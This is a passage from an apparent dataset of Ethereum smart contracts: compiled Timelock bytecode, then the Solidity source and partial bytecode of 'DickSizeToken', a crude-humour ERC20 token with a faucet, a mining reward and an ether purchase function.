02081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b6202a3008110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a7231582097a6f600b74c235afc53fe9dc3454d305d18ccede421411415c7add5efa56cfd64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 923 |
0xd0d1042e45596f1d4ad52be8b20a4ca496742a0c | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
address payable private _Powner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address payable msgSender = _msgSender();
_owner = msgSender;
_Powner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
function owner_payable() public view virtual returns (address payable) {
return _Powner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
_Powner = newOwner;
}
}
//雞巴大小
contract DickSizeToken is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _maximums;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 public _limitICO; // limit for faucet and mining
uint256 private _coinbase; // profit from mining per member
uint256 private _bigBonusLim; // max bonus for bigDick
uint256 public _bonusWins; // How many BigDicks was
uint256 public _kingsize; // the royal size of penis
uint256 public _micropenis;
uint256 public _ratioInchPerEther; //price for buy
uint256 public _minWei; // the minimal wei in address to consider it real. For mining
uint256 public _LastRecordSet; // sets by func IhaveTheBiggestDick. For big bonus
address public _theBiggestDick; // arddress of the biggest dick
string public _MessageFromBigDick; //mess to the all world
string public _Intro; // 'hurry up! Less than two million mens will have a king size (7") penis';
string private _name;
string private _symbol;
uint8 private _decimals;
event BuyDickInch(address indexed from, uint256 amountWEI);
event BigDickBonus(address indexed to, uint256 amountInch);
event BigDickSays(address indexed from, string Says);
constructor () public { //string memory name_, string memory symbol_
_name = "DickSize"; //"DickSize";
_symbol = "inch";//"inch";
_decimals = 2; //_setupDecimals(2);
_mint(_msgSender(),1500000000);
_coinbase=100; //setup_coinbase(100);
_bigBonusLim = 10000; //setup_bigBonusLim(10000) ;
_kingsize = 700;
_micropenis = 300;
_limitICO = 1000000000; //setup_limitICO(1000000000);
_ratioInchPerEther = 2000; //setup_ratioInchPerEther(20); //averege 100$
_minWei = 10**14; //setup_minWei(10**14);
}
// setups
function setup_Intro(string memory value)public virtual onlyOwner{
_Intro = value;
}
function setup_bigBonusLim(uint256 value)public virtual onlyOwner{
_bigBonusLim = value;
}
function setup_ratioInchPerEther(uint256 price)public virtual onlyOwner{
_ratioInchPerEther = price.mul(10**_decimals);
}
function setup_minWei(uint256 value)public virtual onlyOwner{
_minWei = value;
}
function setup_limitICO(uint256 value)public virtual onlyOwner{
_limitICO = value;
}
function setup_coinbase(uint256 value)public virtual onlyOwner{
_coinbase = value;
}
function send_to (address[] memory newMembers,uint256 value) public virtual onlyOwner{
uint256 len = newMembers.length;
for (uint256 i = 0; i < len; i++)
extend(newMembers[i],value);
}
// setups
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (_maximums[recipient]<_balances[recipient]) _maximums[recipient]=_balances[recipient];
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
//feature
//coinbase for mining
function coinbase() public view virtual returns (uint256) {
uint256 declim = totalSupply().sub(_limitICO);
if (_balances[owner()]<declim) return 0;
return _coinbase;
}
//coinbase to the new memders
function giftbase() public view virtual returns (uint256) {
if (coinbase()==0) return 0;
return coinbase().div(2);
}
// bonus for the biggest dick
function bigbonus() public view virtual returns (uint256) {
if (_bonusWins.mul(100)>=_bigBonusLim) return _bigBonusLim;
return _bonusWins.mul(100);
}
//real length of champion
function BigDickLength() public view virtual returns (uint256){
return balanceOf(_theBiggestDick);
}
function isNew(address to) public view virtual returns (bool){
return _maximums[to]==0 && address(to).balance>=_minWei;
}
// function isNewCheck(address to) public virtual returns (bool){
// require(address(to).balance>=_minWei, "isNew: recipient must have _minWei");
// require(_balances[to]==0, "isNew: recipient already have inches");
// return true;
// }
function extend(address to, uint256 amount) internal virtual returns (bool){
require(amount < _balances[owner()], "Opps! The global men's fund is almost empty");
_balances[owner()] = _balances[owner()].sub(amount);
_balances[to] = _balances[to].add(amount);
if (_maximums[to]<_balances[to]) _maximums[to]=_balances[to];
emit Transfer(owner(), to, amount);
return true;
}
// free inch
function faucet () public returns (bool){
require(coinbase() != 0, "Coinbase is zero");
require(_maximums[_msgSender()]<_micropenis, "faucet: You already have minimum inches, try to mining");
extend(_msgSender(),coinbase());
return true;
}
// You can buy Inches by Ether with price's ratio "_ratioInchPerEther"
function buyInches() payable external {
uint256 amountEth = msg.value;
uint256 amountToken = amountEth.mul(_ratioInchPerEther).div(10**18);
require(amountEth > 0, "You need to send some ether to buy inches");
require(amountToken > 0, "Oh! It is not enough to buy even a small piece");
extend(_msgSender(),amountToken);
owner_payable().transfer(amountEth);
emit BuyDickInch(_msgSender(), amountEth);
}
//if you really have the biggest dick, then capture it in history and leave a message to posterity
function IhaveTheBiggestDick(string memory MessageToTheWorld) public returns (bool){
require(_msgSender()!=owner(), "Sorry, the owner has no rights");
require(_msgSender()!=_theBiggestDick, "You already have The Biggest dick");
require(_balances[_msgSender()]>_balances[_theBiggestDick], "Sorry, it's not true");
_theBiggestDick = _msgSender();
_MessageFromBigDick = MessageToTheWorld;
//BigDickBonus - if you exceed the previous record by more than double bonus, you will receive a bonus
if (_balances[_msgSender()]>=_LastRecordSet.add(bigbonus().mul(2))){
extend(_msgSender(),bigbonus());
_bonusWins++;
emit BigDickBonus(_msgSender(),bigbonus());
}
_LastRecordSet = _balances[_theBiggestDick];
emit BigDickSays(_theBiggestDick,_MessageFromBigDick);
return true;
}
// Mining by newMembers without this token with minimum wei
function mining (address[] memory newMembers) public returns (bool){
require(coinbase() != 0, "Coinbase is zero");
uint256 len = newMembers.length;
for (uint256 i = 0; i < len; i++)
if (isNew(newMembers[i])) {
extend(newMembers[i],giftbase());
extend(_msgSender(),coinbase());
}
return true;
}
// Size without decimals
function mySizeInInch(address YourAddress) public view virtual returns (uint256) {
return balanceOf(YourAddress).div(10**_decimals);
}
// Size in centimeters without decimals
function mySizeInCM(address YourAddress) public view virtual returns (uint256) {
// return balanceOf(_msgSender()).mul(254).div(100).div(10**_decimals);
return balanceOf(YourAddress).mul(254).div(100).div(10**_decimals);
}
//feature
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
// function mod(uint256 a, uint256 b) internal pure returns (uint256) {
// require(b > 0, "SafeMath: modulo by zero");
// return a % b;
// }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
// function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// require(b > 0, errorMessage);
// return a % b;
// }
} | 0x60806040526004361061025c5760003560e01c806390e4efdc11610144578063b9cb4bc1116100b6578063dd62ed3e1161007a578063dd62ed3e14610a22578063de5f72fd14610a5d578063e5fad4bf14610a72578063ecbcd6e714610a87578063f0bdb92114610ab1578063f2fde38b14610ac65761025c565b8063b9cb4bc1146109a4578063bc7e35b9146109b9578063cc0e1195146109e3578063d8201817146109f8578063d8d42d3214610a0d5761025c565b8063a6ae0aac11610108578063a6ae0aac14610833578063a9059cbb14610848578063a94388a014610881578063ad50c92714610896578063b773d35714610947578063b9b6e8021461097a5761025c565b806390e4efdc146106f657806395d89b4114610720578063991caf4a146107355780639b055906146107e5578063a457c2d7146107fa5761025c565b80633ee1ccec116101dd57806372949618116101a15780637294961814610645578063766069c21461065a578063865441ef1461068d5780638bf854da146106a25780638ccfa264146106b75780638da5cb5b146106e15761025c565b80633ee1ccec146105325780634b45752c1461053a5780635461e677146105e857806370a08231146105fd578063715018a6146106305761025c565b806323b872dd1161022457806323b872dd146103a7578063264d1a40146103ea578063313ce5671461041b57806335db80e21461044657806339509351146104f95761025c565b80630639f3ce1461026157806306fdde03146102a8578063095ea7b314610332578063120e53d61461036b57806318160ddd14610392575b600080fd5b34801561026d57600080fd5b506102946004803603602081101561028457600080fd5b50356001600160a01b0316610af9565b604080519115158252519081900360200190f35b3480156102b457600080fd5b506102bd610b31565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102f75781810151838201526020016102df565b50505050905090810190601f1680156103245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033e57600080fd5b506102946004803603604081101561035557600080fd5b506001600160a01b038135169060200135610bc8565b34801561037757600080fd5b50610380610be5565b60408051918252519081900360200190f35b34801561039e57600080fd5b50610380610beb565b3480156103b357600080fd5b50610294600480360360608110156103ca57600080fd5b506001600160a01b03813581169160208101359091169060400135610bf1565b3480156103f657600080fd5b506103ff610c78565b604080516001600160a01b039092168252519081900360200190f35b34801561042757600080fd5b50610430610c87565b6040805160ff9092168252519081900360200190f35b34801561045257600080fd5b506104f76004803603602081101561046957600080fd5b810190602081018135600160201b81111561048357600080fd5b82018360208201111561049557600080fd5b803590602001918460018302840111600160201b831117156104b657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610c90945050505050565b005b34801561050557600080fd5b506102946004803603604081101561051c57600080fd5b506001600160a01b038135169060200135610d09565b6104f7610d57565b34801561054657600080fd5b506102946004803603602081101561055d57600080fd5b810190602081018135600160201b81111561057757600080fd5b82018360208201111561058957600080fd5b803590602001918460208302840111600160201b831117156105aa57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ea4945050505050565b3480156105f457600080fd5b50610380610f62565b34801561060957600080fd5b506103806004803603602081101561062057600080fd5b50356001600160a01b0316610f68565b34801561063c57600080fd5b506104f7610f83565b34801561065157600080fd5b5061038061102f565b34801561066657600080fd5b506103806004803603602081101561067d57600080fd5b50356001600160a01b0316611035565b34801561069957600080fd5b506102bd61105c565b3480156106ae57600080fd5b506103806110ea565b3480156106c357600080fd5b506104f7600480360360208110156106da57600080fd5b5035611126565b3480156106ed57600080fd5b506103ff61118d565b34801561070257600080fd5b506104f76004803603602081101561071957600080fd5b503561119c565b34801561072c57600080fd5b506102bd611203565b34801561074157600080fd5b506104f76004803603604081101561075857600080fd5b810190602081018135600160201b81111561077257600080fd5b82018360208201111561078457600080fd5b803590602001918460208302840111600160201b831117156107a557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250611264915050565b3480156107f157600080fd5b506103806112ff565b34801561080657600080fd5b506102946004803603604081101561081d57600080fd5b506001600160a01b038135169060200135611305565b34801561083f57600080fd5b5061038061136d565b34801561085457600080fd5b506102946004803603604081101561086b57600080fd5b506001600160a01b0381351690602001356113cc565b34801561088d57600080fd5b506102bd6113e0565b3480156108a257600080fd5b50610294600480360360208110156108b957600080fd5b810190602081018135600160201b8111156108d357600080fd5b8201836020820111156108e557600080fd5b803590602001918460018302840111600160201b8311171561090657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061143b945050505050565b34801561095357600080fd5b506103806004803603602081101561096a57600080fd5b50356001600160a01b031661175d565b34801561098657600080fd5b506104f76004803603602081101561099d57600080fd5b5035611776565b3480156109b057600080fd5b506103806117dd565b3480156109c557600080fd5b506104f7600480360360208110156109dc57600080fd5b5035611800565b3480156109ef57600080fd5b5061038061187c565b348015610a0457600080fd5b50610380611882565b348015610a1957600080fd5b506103ff61189a565b348015610a2e57600080fd5b5061038060048036036040811015610a4557600080fd5b506001600160a01b03813581169160200135166118a9565b348015610a6957600080fd5b506102946118d4565b348015610a7e57600080fd5b506103806119a1565b348015610a9357600080fd5b506104f760048036036020811015610aaa57600080fd5b50356119a7565b348015610abd57600080fd5b50610380611a0e565b348015610ad257600080fd5b506104f760048036036020811015610ae957600080fd5b50356001600160a01b0316611a14565b6001600160a01b038116600090815260036020526040812054158015610b2b5750600d54826001600160a01b03163110155b92915050565b60128054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b505050505090505b90565b6000610bdc610bd5611b81565b8484611b85565b50600192915050565b60095481565b60055490565b6000610bfe848484611c71565b610c6e84610c0a611b81565b610c6985604051806060016040528060288152602001612389602891396001600160a01b038a16600090815260046020526040812090610c48611b81565b6001600160a01b031681526020810191909152604001600020549190611e14565b611b85565b5060019392505050565b6001546001600160a01b031690565b60145460ff1690565b610c98611b81565b6001600160a01b0316610ca961118d565b6001600160a01b031614610cf2576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b8051610d0590601190602084019061215c565b5050565b6000610bdc610d16611b81565b84610c698560046000610d27611b81565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611b20565b60003490506000610d85670de0b6b3a7640000610d7f600c5485611eab90919063ffffffff16565b90611f04565b905060008211610dc65760405162461bcd60e51b815260040180806020018281038252602981526020018061233f6029913960400191505060405180910390fd5b60008111610e055760405162461bcd60e51b815260040180806020018281038252602e81526020018061229f602e913960400191505060405180910390fd5b610e16610e10611b81565b82611f6b565b50610e1f610c78565b6001600160a01b03166108fc839081150290604051600060405180830381858888f19350505050158015610e57573d6000803e3d6000fd5b50610e60611b81565b6001600160a01b03167f8979205cc801ef9bfe9c0065aa3955ed04268b07096054948beb47104d252ca4836040518082815260200191505060405180910390a25050565b6000610eae61136d565b610ef2576040805162461bcd60e51b815260206004820152601060248201526f436f696e62617365206973207a65726f60801b604482015290519081900360640190fd5b815160005b81811015610c6e57610f1b848281518110610f0e57fe5b6020026020010151610af9565b15610f5a57610f44848281518110610f2f57fe5b6020026020010151610f3f6117dd565b611f6b565b50610f58610f50611b81565b610f3f61136d565b505b600101610ef7565b600a5481565b6001600160a01b031660009081526002602052604090205490565b610f8b611b81565b6001600160a01b0316610f9c61118d565b6001600160a01b031614610fe5576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d5481565b601454600090610b2b9060ff16600a0a610d7f60648160fe61105688610f68565b90611eab565b6011805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156110e25780601f106110b7576101008083540402835291602001916110e2565b820191906000526020600020905b8154815290600101906020018083116110c557829003601f168201915b505050505081565b60006008546111056064600954611eab90919063ffffffff16565b106111135750600854610bc5565b600954611121906064611eab565b905090565b61112e611b81565b6001600160a01b031661113f61118d565b6001600160a01b031614611188576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b600855565b6000546001600160a01b031690565b6111a4611b81565b6001600160a01b03166111b561118d565b6001600160a01b0316146111fe576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b600655565b60138054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b61126c611b81565b6001600160a01b031661127d61118d565b6001600160a01b0316146112c6576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b815160005b818110156112f9576112f08482815181106112e257fe5b602002602001015184611f6b565b506001016112cb565b50505050565b600c5481565b6000610bdc611312611b81565b84610c698560405180606001604052806025815260200161241a602591396004600061133c611b81565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611e14565b60008061138460065461137e610beb565b906120fa565b9050806002600061139361118d565b6001600160a01b03166001600160a01b031681526020019081526020016000205410156113c4576000915050610bc5565b505060075490565b6000610bdc6113d9611b81565b8484611c71565b6010805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156110e25780601f106110b7576101008083540402835291602001916110e2565b600061144561118d565b6001600160a01b0316611456611b81565b6001600160a01b031614156114b2576040805162461bcd60e51b815260206004820152601e60248201527f536f7272792c20746865206f776e657220686173206e6f207269676874730000604482015290519081900360640190fd5b600f546001600160a01b03166114c6611b81565b6001600160a01b0316141561150c5760405162461bcd60e51b81526004018080602001828103825260218152602001806122f36021913960400191505060405180910390fd5b600f546001600160a01b0316600090815260026020819052604082205491611532611b81565b6001600160a01b03166001600160a01b03168152602001908152602001600020541161159c576040805162461bcd60e51b8152602060048201526014602482015273536f7272792c2069742773206e6f74207472756560601b604482015290519081900360640190fd5b6115a4611b81565b600f80546001600160a01b0319166001600160a01b039290921691909117905581516115d790601090602085019061215c565b506115f16115e860026110566110ea565b600e5490611b20565b600260006115fd611b81565b6001600160a01b03166001600160a01b03168152602001908152602001600020541061168c5761163661162e611b81565b610f3f6110ea565b50600980546001019055611648611b81565b6001600160a01b03167f0babae32f950779b3c635af59b15f5d0e03ab6f3f5f93dce2bfc00604642537b61167a6110ea565b60408051918252519081900360200190a25b600f546001600160a01b031660008181526002602081815260409283902054600e558251818152601080546000196001821615610100020116939093049181018290527f912cb7bdc5a1799906a74b5e3138a7c0533ad2033d7e49d25d777ffc3fe0fb539390918291820190849080156117475780601f1061171c57610100808354040283529160200191611747565b820191906000526020600020905b81548152906001019060200180831161172a57829003601f168201915b50509250505060405180910390a2506001919050565b601454600090610b2b9060ff16600a0a610d7f84610f68565b61177e611b81565b6001600160a01b031661178f61118d565b6001600160a01b0316146117d8576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b600d55565b60006117e761136d565b6117f357506000610bc5565b6111216002610d7f61136d565b611808611b81565b6001600160a01b031661181961118d565b6001600160a01b031614611862576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b60145461187690829060ff16600a0a611eab565b600c5550565b600b5481565b600f54600090611121906001600160a01b0316610f68565b600f546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006118de61136d565b611922576040805162461bcd60e51b815260206004820152601060248201526f436f696e62617365206973207a65726f60801b604482015290519081900360640190fd5b600b5460036000611931611b81565b6001600160a01b03166001600160a01b03168152602001908152602001600020541061198e5760405162461bcd60e51b81526004018080602001828103825260368152602001806122216036913960400191505060405180910390fd5b611999610f50611b81565b506001905090565b600e5481565b6119af611b81565b6001600160a01b03166119c061118d565b6001600160a01b031614611a09576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b600755565b60065481565b611a1c611b81565b6001600160a01b0316611a2d61118d565b6001600160a01b031614611a76576040805162461bcd60e51b815260206004820181905260248201526000805160206123b1833981519152604482015290519081900360640190fd5b6001600160a01b038116611abb5760405162461bcd60e51b81526004018080602001828103825260268152602001806122576026913960400191505060405180910390fd5b600080546040516001600160a01b03808516